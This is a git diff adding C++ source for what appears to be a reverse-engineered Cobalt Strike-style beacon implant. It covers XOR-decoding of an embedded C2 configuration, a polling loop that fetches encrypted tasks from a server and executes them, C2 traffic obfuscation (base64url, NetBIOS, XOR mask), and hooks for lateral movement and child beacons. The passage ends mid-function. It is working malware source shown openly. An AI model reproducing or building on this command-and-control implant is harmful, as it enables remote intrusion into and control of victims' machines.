rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + \ No newline at end of file diff --git a/ReBeacon_Src/ReBeacon_Src.vcxproj.user b/ReBeacon_Src/ReBeacon_Src.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/ReBeacon_Src/ReBeacon_Src.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/ReBeacon_Src/Utils.cpp b/ReBeacon_Src/Utils.cpp new file mode 100644 index 0000000..fa857a0 --- /dev/null +++ b/ReBeacon_Src/Utils.cpp @@ -0,0 +1,364 @@ +#include "Utils.h" +#include "Global.h" +#include "macro.h" + +void BeaconDataParse(datap* parser, char* buffer, int size) +{ + parser->original = buffer; + parser->buffer = buffer; + parser->length = size; + parser->size = size; +} +void BeaconDataFree(datap* parser) +{ + free(parser->original); + free(parser); +} + +void BeaconDataClear(datap* parser) +{ + memset(parser->original, 0, parser->size); +} +char* BeaconDataPtr(datap* parser, int size) +{ + char* result = 0; + if (parser->length < size) + { + return 0; + } + result = parser->buffer; + parser->buffer += size; + parser->length -= size; + return result; +} + +int BeaconDataInt(datap* parser) +{ + int result; + if (parser->length < sizeof(int)) + { + return 0; + } + result = ntohl(*(u_long*)parser->buffer); + parser->buffer += sizeof(int); + parser->length += sizeof(int); + return result; +} + +short BeaconDataShort(datap* parser) +{ + short result; + + if (parser->length < sizeof(short)) + { + return 0; + } + result = ntohs(*(u_short*)parser->buffer); + parser->buffer += sizeof(short); + parser->length -= sizeof(short); + return result; +} + +int BeaconDataLength(datap* parser) +{ + return parser->length; +} + + +int BeaconDataCopyToBuffer(datap* parser, char* buffer,int buffer_size) +{ + int copy_size = BeaconDataInt(parser); + if (!copy_size) + { + return 0; + } + if (copy_size + 1 > buffer_size) + { + return 0; + } + char* data = BeaconDataPtr(parser, copy_size); + if (!data) + { + return 0; + } + memcpy(buffer, data, copy_size); + buffer[copy_size] = 0; + return copy_size + 1; +} + +void BeaconDataCopyNToBuffer(datap* parser, char* buffer, int buffer_size) +{ + int length = parser->length; + if (length + 1 < buffer_size) + { + memcpy(buffer, parser->buffer, parser->length); + buffer[length] = 0; + } +} + + + +char* BeaconDataPtr2(datap* parser) +{ + int size = BeaconDataInt(parser); + if (size) + { + return BeaconDataPtr(parser, size); + } + return 0; +} + +char* BeaconDataPtr3(datap* parser, int* outsize) +{ + int size = BeaconDataInt(parser); + if (size) + { + *outsize = size; + return BeaconDataPtr(parser, size); + + } + return 0; +} +char* BeaconDataExtract(datap* parser, int* outsize) +{ + int size = 0; + char* data = BeaconDataPtr3(parser, &size); + if (outsize) + { + *outsize = size; + } + return size != 0 ? data : 0; +} + +datap* BeaconDataInit(int size) +{ + char* pdata; + datap* pdatap; + + pdatap = (datap*)malloc(sizeof(datap)); + if (!pdatap) + { + return 0; + } + pdata = (char*)malloc(size); + if (!pdata) + { + return 0; + } + memset(pdata, 0, size); + BeaconDataParse(pdatap, pdata, size); + return pdatap; +} + +char BeaconDataByte(datap* parser) +{ + if (!parser->length) + { + return 0; + } + char* ret = parser->buffer; + parser->buffer += 1; + parser->length -= 1; + return *ret; +} + +char* BeaconDataBuffer(datap* parser) +{ + return parser->buffer; +} + +void BeaconDataClearFree(datap* parser) +{ + BeaconDataClear(parser); + BeaconDataFree(parser); +} + +void BeaconFormatInit(formatp* format, char* buff, int buffsize) +{ + format->length = 0; + format->original = buff; + format->buffer = buff; + format->size = buffsize; + memset(buff, 0, buffsize); +} + +void BeaconFormatAlloc(formatp* format, int maxsz) +{ + char* buff = (char*)malloc(maxsz); + return BeaconFormatInit(format, buff, maxsz); +} + +void BeaconFormatReset(formatp* format) +{ + format->buffer = format->original; + format->length = 0; +} + +void BeaconFormatFree(formatp* format) +{ + memset(format->original, 0, format->size); + free(format->original); +} + +void BeaconFormatAppend(formatp* format, char* text, int len) +{ + if (len < format->size - format->length) + { + if (len) + { + memcpy(format->buffer, text, len); + format->buffer += len; + format->length += len; + } + } +} +void BeaconFormatPrintf(formatp* format, char* fmt, ...) +{ + va_list ArgList; + va_start(ArgList, fmt); + int v2 = vprintf(fmt, ArgList); + if (v2 > 0) + { + int size = format->size - format->length; + if (v2 < size) + { + int v4 = vsprintf_s(format->buffer, size, fmt, ArgList); + format->buffer += v4; + format->length += v4; + } + } +} +char* BeaconFormatToString(formatp* format, int* size) +{ + if (!size) + { + return 0; + } + int length = BeaconFormatlength(format); + *size = length; + return BeaconFormatOriginalPtr(format); +} +void BeaconFormatInt(formatp* format, int value) +{ + value = htonl(value); + BeaconFormatAppend(format, (char*)&value, 4); +} + +int BeaconFormatlength(formatp* format) +{ + return format->length; +} +char* BeaconFormatOriginalPtr(formatp* format) +{ + return format->original; +} + + +void GetParseConfig(beaconconfig* pbeaconconfig, int id) +{ + pbeaconconfig->data = CsC2Config + index_size * id + sizeof(size_t); + pbeaconconfig->data_type = *(short*)(CsC2Config + index_size * id); + +} + + +char* get_str(int id) +{ + beaconconfig pbeaconconfig; + GetParseConfig(&pbeaconconfig, id); + if (pbeaconconfig.data_type == 3) + { + return (char*)*(ULONG_PTR*)pbeaconconfig.data; + } + return 0; +} +short get_short(int id) +{ + beaconconfig pbeaconconfig; + GetParseConfig(&pbeaconconfig, id); + if (pbeaconconfig.data_type == 1) + { + return *(WORD*)pbeaconconfig.data; + } + return 0; +} +int get_dword(int id) +{ + beaconconfig pbeaconconfig; + GetParseConfig(&pbeaconconfig, id); + if (pbeaconconfig.data_type == 2) + { + return *(DWORD*)pbeaconconfig.data; + } + return 0; +} + +int get_str_config_len(int id) +{ + return strlen(get_str(id)); +} + +/// +/// ʼԪݽṹ +/// +/// +/// +/// +void BeaconMetadataInit(beaconmetadata* pmetadata, char* data, int data_size) +{ + DWORD number = htonl(MetadataNumber); + u_long reserve = htonl(0); + + ++MetadataNumber; + DWORD* pdata = (DWORD*)data; + pdata[0] = number; + pdata[1] = reserve; + + pmetadata->data = data; + pmetadata->data_size = data_size; + + pmetadata->length = 8; +} + +/// +/// NֽڵԪ +/// +/// +/// +/// +void BeaconMetadataPush_N(size_t size, beaconmetadata* pmetadata, void* data) +{ + + DWORD new_length = pmetadata->length + size; + if ((signed int)(pmetadata->length + size) <= pmetadata->data_size) + { + memcpy(pmetadata->data + pmetadata->length, data, size); + pmetadata->length = new_length; + ((DWORD*)pmetadata->data)[1] = ntohl(new_length - 8); + } +} + +void BeaconMetadataPush_4(int data, beaconmetadata* pmetadata) +{ + data = htonl(data); + BeaconMetadataPush_N(4, pmetadata, &data); +} +void BeaconMetadataPush_2(short data, beaconmetadata* pmetadata) +{ + data = htons(data); + BeaconMetadataPush_N(2, pmetadata, &data); +} +void BeaconMetadataPush_1(char data, beaconmetadata* pmetadata) +{ + BeaconMetadataPush_N(1, pmetadata, &data); +} + +DWORD BeaconMetadataLength(beaconmetadata* pmetadata) +{ + *(DWORD*)pmetadata->data = htonl(48879); + return pmetadata->length; +} +DWORD BeaconMetadataDataLength(beaconmetadata* pmetadata) +{ + return pmetadata->length; +} \ No newline at end of file diff --git a/ReBeacon_Src/Utils.h b/ReBeacon_Src/Utils.h new file mode 100644 index 0000000..a817f6c --- /dev/null +++ b/ReBeacon_Src/Utils.h @@ -0,0 +1,76 @@ +#pragma once +#include "Global.h" + +typedef struct { + char* original; /* ԭʼ [ǿͷ] */ + char* buffer; /* ָǰλ */ + int length; /* ʣݳ */ + int size; /* ˻ܴС */ +} datap; + +void BeaconDataParse(datap* parser, char* buffer, int size); +char* BeaconDataPtr(datap* parser, int size); +int BeaconDataInt(datap* parser); +short BeaconDataShort(datap* parser); +int BeaconDataLength(datap* parser); +char* BeaconDataExtract(datap* parser, int* size); +datap* BeaconDataInit(int size); +void BeaconDataFree(datap* parser); +void BeaconDataClear(datap* parser); +int BeaconDataCopyToBuffer(datap* parser, char* buffer, int buffer_size); +char BeaconDataByte(datap* parser); +char* BeaconDataPtr2(datap* parser); +char* BeaconDataBuffer(datap* parser); +void BeaconDataCopyNToBuffer(datap* parser, char* buffer, int buffer_size); +char* BeaconDataPtr3(datap* parser, int* outsize); +char* BeaconDataExtract(datap* parser, int* outsize); + +/* format API */ +typedef struct { + char* original; /* the original buffer [so we can free it] */ + char* buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +void BeaconFormatAlloc(formatp* format, int maxsz); +void BeaconFormatReset(formatp* format); +void BeaconFormatFree(formatp* format); +void BeaconFormatAppend(formatp* format, char* text, int len); +void BeaconFormatPrintf(formatp* format, char* fmt, ...); +char* BeaconFormatToString(formatp* format, int* size); +void BeaconFormatInt(formatp* format, int value); +int BeaconFormatlength(formatp* format); +char* BeaconFormatOriginalPtr(formatp* format); +void BeaconFormatInit(formatp* format, char* buff, int buffsize); +void BeaconDataClearFree(datap* parser); +typedef struct { + char* data; /*ָdata*/ + short data_type; /* ָdata */ +} beaconconfig; +void GetParseConfig(beaconconfig* pbeaconconfig, int id); +char* get_str(int id); +short get_short(int id); +int get_dword(int id); +int get_str_config_len(int id); + +/// +/// Ԫ +/// +typedef struct { + char* data; /*ָdata*/ + int length; /* dataʹֽ */ + int data_size; /*dataڴĴС*/ +} beaconmetadata; + + + + +void BeaconMetadataInit(beaconmetadata* pmetadata, char* data, int data_size); + +void BeaconMetadataPush_N(size_t size, beaconmetadata* pmetadata, void* data); +void BeaconMetadataPush_4(int data, beaconmetadata* pmetadata); +void BeaconMetadataPush_2(short data, beaconmetadata* pmetadata); +void BeaconMetadataPush_1(char data, beaconmetadata* pmetadata); +DWORD BeaconMetadataLength(beaconmetadata* pmetadata); +DWORD BeaconMetadataDataLength(beaconmetadata* pmetadata); \ No newline at end of file diff --git a/ReBeacon_Src/beaconMain.cpp b/ReBeacon_Src/beaconMain.cpp new file mode 100644 index 0000000..b19f65f --- /dev/null +++ b/ReBeacon_Src/beaconMain.cpp @@ -0,0 +1,244 @@ + +#include + +#include "Utils.h" +#include "Global.h" +#include "rotation.h" +#include "encrypt_decrypt.h" +#include "common.h" +#include "comm.h" +#include "BeaconTask.h" +#include "BeaconLateralMovement.h" +#include "ChildBeacon.h" +#include "BeaconSleep.h" +#pragma comment(lib,"ws2_32.lib") +#pragma comment(lib,"Wininet.lib") +#ifdef _WIN64 + +#pragma comment(lib,"tomcryptx64.lib") +#pragma comment(lib,"tommathx64.lib") +#else + +#pragma comment(lib,"tomcrypt.lib") +#pragma comment(lib,"tommath.lib") +#endif // _WIN64 + + + +void Beacon_init(HINSTANCE dllbase) +{ + Beacon_Dllbase = dllbase; + //分配c2配置信息内存块 + CsC2Config = (char*)malloc(CsC2Config_size); + memset(CsC2Config, 0, CsC2Config_size); + + //解密内嵌的配置信息 + for (int i = 0; i < 0x1000; ++i) + { + rawData[i] ^= 0x2Eu; + } + + datap c2profile; + BeaconDataParse(&c2profile, (char*)rawData, 4096); + for (int index = BeaconDataShort(&c2profile); ; index = BeaconDataShort(&c2profile)) + { + if (index <= 0) + { + break; + } + WORD data_type = BeaconDataShort(&c2profile); + WORD data_size = BeaconDataShort(&c2profile); + int size = index_size * index; + + *(WORD*)(CsC2Config + size) = data_type; + switch (data_type) + { + case 1: + *(WORD*)(CsC2Config + size + sizeof(size_t)) = BeaconDataShort(&c2profile); + break; + case 2: + *(DWORD*)(CsC2Config + size + sizeof(size_t)) = BeaconDataInt(&c2profile); + break; + case 3: + //分配一块内存存放str + *(ULONG_PTR*)(CsC2Config + size + sizeof(size_t)) = (ULONG_PTR)malloc(data_size); + void* data = BeaconDataPtr(&c2profile, data_size); + //取出刚才分配的内存地址开始复制数据 + memcpy(*(ULONG_PTR**)(CsC2Config + size + sizeof(size_t)), data, data_size); + break; + } + } + memset(rawData, 0, sizeof(rawData)); + return; +} + + +int beacon_stop_date() +{ + struct _SYSTEMTIME SystemTime; + + // killdate + if (!get_dword(40)) + { + return get_dword(40); + } + GetLocalTime(&SystemTime); + return SystemTime.wDay + 100 * (SystemTime.wMonth + 100 * (unsigned int)SystemTime.wYear) >= get_dword(40); +} + +int Beacon_exit() +{ + + if (get_short(55) == 1) + { + if (get_short(39) == 1) + { + while (1) + { + Sleep(0x3E8); + } + } + ExitThread(0); + } + if (get_short(39) != 1) + { + ExitProcess(0); + } + HANDLE threadhandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ExitProcess, 0, 0, 0); + return WaitForSingleObject(threadhandle, 0xFFFFFFFF); +} + +int main() +{ + Beacon_init(NULL); + datap* parser = BeaconDataInit(0x280); + char* http_get_url = BeaconDataPtr(parser, 256); + BeaconDataPtr(parser, 256); + + char* ServerHost_buffer = (char*)BeaconDataPtr(parser, 128); + + char* ServerIP = get_str(8); + int ServerPort = get_short(2); + + char* lpszAgent = get_str(9); + char* ServerPostUrl = get_str(10); + + g_dwMilliseconds = get_dword(3); + g_jitter = get_short(5); + + int conne_error = 0; + + + //初始化轮询相关 + rotationstruc* rotation_opt = (rotationstruc*)malloc(sizeof(rotationstruc)); + + //69 和failover(错误切换)有关 纯failover模式 69等于0 + //当是按照错误次数切换的时候69等于指定次数 + int failover_Strategy_number = get_dword(69); + + //70也与failover有关当是按照时间切换的时候70等于指定的时间 + int failover_Strategy_time = get_dword(70); + + //68 如果是rotate模式 跟切换时间有关 + int rotate_Strategy_time = get_dword(68); + + //67 是模式id + //2表示rotate或failover + //如果是random则是1 随机模式 + //如果是round-robin则是0 默认模式 + int strategyID = get_short(67); // 67 68 69 70和轮询模式相关 + + + // + //69 与错误切换有关默认-1非错误切换 单错误切换等于0 + //如果是-x表示根据次数切换 69等于相应的次数 + init_rotation(rotation_opt, strategyID, rotate_Strategy_time, failover_Strategy_time, failover_Strategy_number); + + + if (beacon_stop_date()) + { + Beacon_exit(); + } + int server_output_size = get_dword(4); //.http-get.server.output + char* server_output_buffer = (char*)malloc(server_output_size); + Generate_encryption_metadata(server_output_buffer, server_output_size);// 构造元数据并加密 + while (g_dwMilliseconds) + { + char* p_ServerHost = beacon_Rotation_Strategy(rotation_opt, ServerIP, conne_error);// 轮询取出host + _snprintf(ServerHost_buffer, 0x80, "%s", p_ServerHost); + conne_error = 0; + char* p_ServerUrl = beacon_Rotation_Strategy(rotation_opt, ServerIP, 0); + _snprintf(http_get_url, 0x80, "%s", p_ServerUrl); + g_BeaconStart = 1; + _snprintf(g_post_url, 0x100u, "%s", ServerPostUrl); + set_winit_http(ServerHost_buffer, ServerPort, lpszAgent);// 设置一些http选项 + + int server_out_size = call_send_Metadata(http_get_url, server_output_buffer, server_output_size); + if (server_out_size > 0) + { + int taskdata_size = decrypt_output_data(server_output_buffer, server_out_size);// 解密 + server_out_size = taskdata_size; + if (taskdata_size > 0)//有任务 + { + Parse_Task((BeaconTask*)server_output_buffer, taskdata_size);// 对解密后的任务进行执行 + } + } + + if (server_out_size == -1) + { + //连接失败 + conne_error = 1; + } + else + { + sub_1000715A(); + + if (get_dword(28)) + { + CheckDownload(4096); // 文件下载相关 + } + else + { + CheckDownload(0x80000); + } + CheckChildBeacon(); + CheckJobOutput(); + if (beacon_stop_date()) // 判断是否有结束运行日期 + { + Beacon_end();//结束 + } + if (g_withdatasize > 0) + { + close_http_Handle(); + set_winit_http(ServerHost_buffer, ServerPort, lpszAgent); + sned_beacon_data(gBeaconOutputData); + } + } + close_http_Handle(); + if (beacon_stop_date()) + { + Beacon_exit(); + } + if (!g_dwMilliseconds) + { + break; + } + if (g_jitter) + { + int temp = g_dwMilliseconds * g_jitter / 0x64; + temp = temp ? random_int() % temp : 0; + int dwMilliseconds = g_dwMilliseconds; + if (temp < g_dwMilliseconds) + { + dwMilliseconds = g_dwMilliseconds - temp; + } + BeaconSleep(dwMilliseconds); + } + else + { + BeaconSleep(g_dwMilliseconds); + } + } + free(rotation_opt); + return Beacon_exit(); +} \ No newline at end of file diff --git a/ReBeacon_Src/comm.cpp b/ReBeacon_Src/comm.cpp new file mode 100644 index 0000000..7f77e26 --- /dev/null +++ b/ReBeacon_Src/comm.cpp @@ -0,0 +1,1000 @@ +/* +beacon httpͨ +*/ +#include "comm.h" +#include "common.h" +#include "tomcrypt.h" +#include "encrypt_decrypt.h" + +void BeaconHttpRequestInit(int buffer_size, BeaconHttpRequest* beaconhttprequest) +{ + beaconhttprequest->encrypt_Metadata_size = 3 * buffer_size; + if (3 * buffer_size < 8192) + { + beaconhttprequest->encrypt_Metadata_size = 8192; + } + datap* pdatap = BeaconDataInit(3 * (beaconhttprequest->encrypt_Metadata_size + 1024)); + beaconhttprequest->pdatap = pdatap; + beaconhttprequest->HttpOptionalLength = 0; + + char* HttpHeaders = BeaconDataPtr(pdatap, 1024); + beaconhttprequest->httpHeaders = HttpHeaders; + + char* field_1 = BeaconDataPtr(pdatap, 1024); + beaconhttprequest->field_1 = field_1; + + char* httpGetUrl = BeaconDataPtr(pdatap, 1024); + beaconhttprequest->httpGetUrl = httpGetUrl; + + char* HttpOptional = BeaconDataPtr(pdatap, beaconhttprequest->encrypt_Metadata_size); + beaconhttprequest->HttpOptional = HttpOptional; + + + char* encrypt_Metadata_Ptr = BeaconDataPtr(pdatap, beaconhttprequest->encrypt_Metadata_size); + beaconhttprequest->encrypt_Metadata_Ptr = encrypt_Metadata_Ptr; + + char* Encoding_Encrypt_Metadata_Ptr = BeaconDataPtr(pdatap, beaconhttprequest->encrypt_Metadata_size); + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr = Encoding_Encrypt_Metadata_Ptr; +} + +void BeaconHttpRequestFree(BeaconHttpRequest* beaconhttprequest) +{ + BeaconDataFree(beaconhttprequest->pdatap); +} + + +static const char* const codes_base64url = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + +static int _base64_encode_internal(const unsigned char* in, unsigned long inlen, + unsigned char* out, unsigned long* outlen, + const char* codes, int pad) +{ + unsigned long i, len2, leven; + unsigned char* p; + + /* valid output size ? */ + len2 = 4 * ((inlen + 2) / 3); + if (*outlen < len2 + 1) { + *outlen = len2 + 1; + return CRYPT_BUFFER_OVERFLOW; + } + p = out; + leven = 3 * (inlen / 3); + for (i = 0; i < leven; i += 3) { + *p++ = codes[(in[0] >> 2) & 0x3F]; + *p++ = codes[(((in[0] & 3) << 4) + (in[1] >> 4)) & 0x3F]; + *p++ = codes[(((in[1] & 0xf) << 2) + (in[2] >> 6)) & 0x3F]; + *p++ = codes[in[2] & 0x3F]; + in += 3; + } + /* Pad it if necessary... */ + if (i < inlen) { + unsigned a = in[0]; + unsigned b = (i + 1 < inlen) ? in[1] : 0; + + *p++ = codes[(a >> 2) & 0x3F]; + *p++ = codes[(((a & 3) << 4) + (b >> 4)) & 0x3F]; + if (pad) { + *p++ = (i + 1 < inlen) ? codes[(((b & 0xf) << 2)) & 0x3F] : '='; + *p++ = '='; + } + else { + if (i + 1 < inlen) *p++ = codes[(((b & 0xf) << 2)) & 0x3F]; + } + } + + /* append a NULL byte */ + *p = '\0'; + + /* return ok */ + *outlen = (unsigned long)(p - out); + return CRYPT_OK; +} + +int base64url_encode(char* in, unsigned long inlen, + unsigned char* out, unsigned long* outlen) +{ + return _base64_encode_internal((const unsigned char*)in, inlen, out, outlen, codes_base64url, 0); +} +int NetBIOS_Encode(char* out, char key, char* in, int a4, int in_size) +{ + int v5; + unsigned __int8 v7; + int i; + v5 = 0; + for (i = 0; v5 < a4; i += 2) + { + if (i >= in_size) + { + break; + } + v7 = in[v5]; + out[i] = key + (v7 >> 4); + out[i + 1] = key + (v7 & 0xF); + ++v5; + } + return i;//س +} + + +/// +/// xor +/// +/// +/// +/// +/// +/// +unsigned int xor_encode(char* a1, unsigned int a3, char* a4, unsigned int a5) +{ + unsigned int v4; + char* v5; + char* v7; + unsigned int v8; + char* v9; + char v10; + + v4 = a3 + 4; + v5 = a1; + if (a3 + 4 > a5) + { + return 0; + } + *(DWORD*)a1 = random_int(); + v7 = v5 + 4; + v8 = 0; + if (!a3) + { + return v4; + } + do + { + v9 = &v7[v8]; + v10 = a4[v8] ^ a1[v8 & 3]; + ++v8; + *v9 = v10; + } while (v8 < a3); + return a3 + 4; +} + +unsigned int xor_decode(int insize, char* in, char* out, unsigned int size) +{ + unsigned int v7; + unsigned int v8; + int v9; + char* v10; + char v11; + + if (insize - 4 > size) + { + return 0; + } + v7 = insize - 4; + v8 = 0; + if (!v7) + { + return v7; + } + v9 = in + 4 - out; + do + { + v10 = &out[v8]; + v11 = out[v8 + v9] ^ in[v8 & 3]; + ++v8; + *v10 = v11; + } while (v8 < v7); + return v7; +} + +int NetBIOS_decode(char* a1, char a2, int size, char* a4, int a5) +{ + int v7; + char v8; + + if (size % 2 == 1) + { + return 0; + } + for (int i = 0; i < size; a4[v7] = v8) + { + v7 = i / 2; + if (i / 2 >= a5) + { + break; + } + v8 = a1[i + 1] + 16 * a1[i] - 17 * a2; + i += 2; + } + return size / 2; +} + + +int base64url_decode(unsigned int inlen, char* in, unsigned int a3, char* out, DWORD* outlen) +{ + unsigned int i; + char v6; + + for (i = 0; i < inlen; ++i) + { + v6 = in[i]; + if (v6 == 95) + { + in[i] = 47; + } + else if (v6 == 45) + { + in[i] = 43; + } + } + while (1) + { + if ((inlen & 3) == 0) + return base64_decode((const unsigned char*)in, inlen, (unsigned char*)out, outlen); + if (inlen > a3) + break; + in[inlen++] = 61; + } + return 6; +} + +/// +/// http󷵻صݽн +/// +/// 󷵻buffer +/// bufferС +/// +/// +/// +int decode_metadata(char* Output_Buffer, size_t Buffer_size, char* server_output_config, int server_output_size) +{ + int data_size = Buffer_size; + char* Decode_Buffer = (char*)malloc(Buffer_size); + memset(Decode_Buffer, 0, Buffer_size); + if (!Decode_Buffer) + { + return 0; + } + datap pdata; + BeaconDataParse(&pdata, server_output_config, 1024); + int append_size = 0; + int prepend_size = 0; + + while (true) + { + int index = BeaconDataInt(&pdata); + switch (index) + { + case 0: + { + free(Decode_Buffer); + return data_size; + } + case 1://append ĩβ + { + + data_size -= BeaconDataInt(&pdata); + continue; + } + + case 2://prepend ַָͷ + { + prepend_size = BeaconDataInt(&pdata); + if (prepend_size > data_size) + { + data_size = 0; + free(Decode_Buffer); + return data_size; + } + memcpy(Decode_Buffer, Output_Buffer, data_size); + data_size -= prepend_size; + memcpy(Output_Buffer, &Decode_Buffer[prepend_size], data_size); + continue; + } + + case 3://BASE64 + { + Output_Buffer[data_size] = 0; + unsigned long out_size = server_output_size; + // base + if (base64_decode((const unsigned char*)Output_Buffer, data_size, (unsigned char*)Decode_Buffer, &out_size)) + { + data_size = 0; + free(Decode_Buffer); + return data_size; + } + data_size = out_size; + memcpy(Output_Buffer, Decode_Buffer, out_size); + continue; + } + + case 4://print ʲô + + continue; + case 5: + continue; + case 6: + continue; + case 7: + continue; + case 8://netbios + { + Output_Buffer[data_size] = 0; + int out_size = NetBIOS_decode(Output_Buffer, 'a', data_size, Decode_Buffer, server_output_size); + data_size = out_size; + if (!out_size) + { + break; + } + memcpy(Output_Buffer, Decode_Buffer, out_size); + Output_Buffer[data_size] = 0; + continue; + } + + case 9: + continue; + case 10: + continue; + case 11://netbiosu + { + Output_Buffer[data_size] = 0; + int out_size = NetBIOS_decode(Output_Buffer, 'A', data_size, Decode_Buffer, server_output_size); + data_size = out_size; + if (!out_size) + { + break; + } + memcpy(Output_Buffer, Decode_Buffer, out_size); + Output_Buffer[data_size] = 0; + continue; + } + + case 12: + continue; + case 13://base64url + { + unsigned long out_size = server_output_size; + Output_Buffer[data_size] = 0; + if (base64url_decode(data_size, (char*)Output_Buffer, server_output_size, Decode_Buffer, &out_size)) + { + data_size = 0; + free(Decode_Buffer); + return data_size; + } + data_size = out_size; + memcpy(Output_Buffer, Decode_Buffer, out_size); + continue; + } + + case 14: + continue; + case 15://mask xor + { + Output_Buffer[data_size] = 0; + int out_size = xor_decode(data_size, Output_Buffer, Decode_Buffer, server_output_size);// xor + data_size = out_size; + if (!out_size) + { + break; + } + memcpy(Output_Buffer, Decode_Buffer, out_size); + Output_Buffer[data_size] = 0; + continue; + } + + case 16: + continue; + default: + break; + } + } +} + + +/// +/// Ҫ͵Ԫݸhttpýиʽ +/// +/// +/// +/// +/// +/// +/// +void encode_Metadata(char* http_get_client_config, BeaconHttpRequest* beaconhttprequest, char* Encryption_Metadata, int Encryption_Metadata_size, void* a5, size_t a6) +{ + char Buffer[1024] = { 0 }; + char* httpHeaderHost = get_str(54); + int Size = 0; + + datap pdatap; + BeaconDataParse(&pdatap, http_get_client_config, 1024); + int v30 = 0; + while (2) + { + int index = BeaconDataInt(&pdatap); + switch (index) + { + case 0: + if ( v30 ||!httpHeaderHost) + { + return; + } + + if (!strlen(httpHeaderHost)) + { + return; + } + + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 1024, + "%s%s\r\n", + beaconhttprequest->httpHeaders, + httpHeaderHost); + memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + return; + + case 1: + { + memset(Buffer, 0, sizeof(Buffer)); + int copy_size = BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + memcpy((char*)beaconhttprequest->encrypt_Metadata_Ptr + Size, Buffer, copy_size); + Size += &Buffer[strlen(Buffer) + 1] - &Buffer[1]; + continue; + } + + + case 2: + { + memset(Buffer, 0, sizeof(Buffer)); + int copy_size = BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + memcpy(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Buffer, copy_size); + memcpy(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr + strlen(Buffer), beaconhttprequest->encrypt_Metadata_Ptr, Size); + Size += strlen(Buffer); + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size); + continue; + } + + + case 3: + { + unsigned long encrypt_Metadata_size = beaconhttprequest->encrypt_Metadata_size; + if (!base64_encode( + (unsigned char*)beaconhttprequest->encrypt_Metadata_Ptr, + Size, + (unsigned char*)beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + &encrypt_Metadata_size)) + { + Size = encrypt_Metadata_size; + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, encrypt_Metadata_size); + continue; + } + return; + } + + case 4: + { + memcpy(beaconhttprequest->HttpOptional, beaconhttprequest->encrypt_Metadata_Ptr, Size); + beaconhttprequest->HttpOptionalLength = Size; + continue; + } + + case 5: + { + memset(Buffer, 0, sizeof(Buffer)); + BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + if (*beaconhttprequest->field_1) + { + _snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "%s&%s=%s", beaconhttprequest->field_1, Buffer, beaconhttprequest->encrypt_Metadata_Ptr); + } + else + { + _snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "?%s=%s", Buffer, beaconhttprequest->encrypt_Metadata_Ptr); + } + memcpy(beaconhttprequest->field_1, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + continue; + } + + case 6: + { + memset(Buffer, 0, sizeof(Buffer)); + BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 1024, + "%s%s: %s\r\n", + beaconhttprequest->httpHeaders, + Buffer, + beaconhttprequest->encrypt_Metadata_Ptr); + memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + continue; + } + + + case 7: + { + int size = BeaconDataInt(&pdatap); + if (size) + { + if (size != 1) + { + continue; + } + Size = a6; + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, a5, a6); + } + else + { + Size = Encryption_Metadata_size; + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, Encryption_Metadata, Encryption_Metadata_size); + } + continue; + } + + + case 8: + { + int size = NetBIOS_Encode( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 'a', + beaconhttprequest->encrypt_Metadata_Ptr, + Size, + beaconhttprequest->encrypt_Metadata_size); + Size = size; + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size); + continue; + } + + + case 9: + { + memset(Buffer, 0, sizeof(Buffer)); + BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + if (*beaconhttprequest->field_1) + { + _snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "%s&%s", beaconhttprequest->field_1, Buffer); + } + else + { + _snprintf(beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024, "?%s", Buffer); + } + memcpy(beaconhttprequest->field_1, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + continue; + } + + + case 10: + { + memset(Buffer, 0, 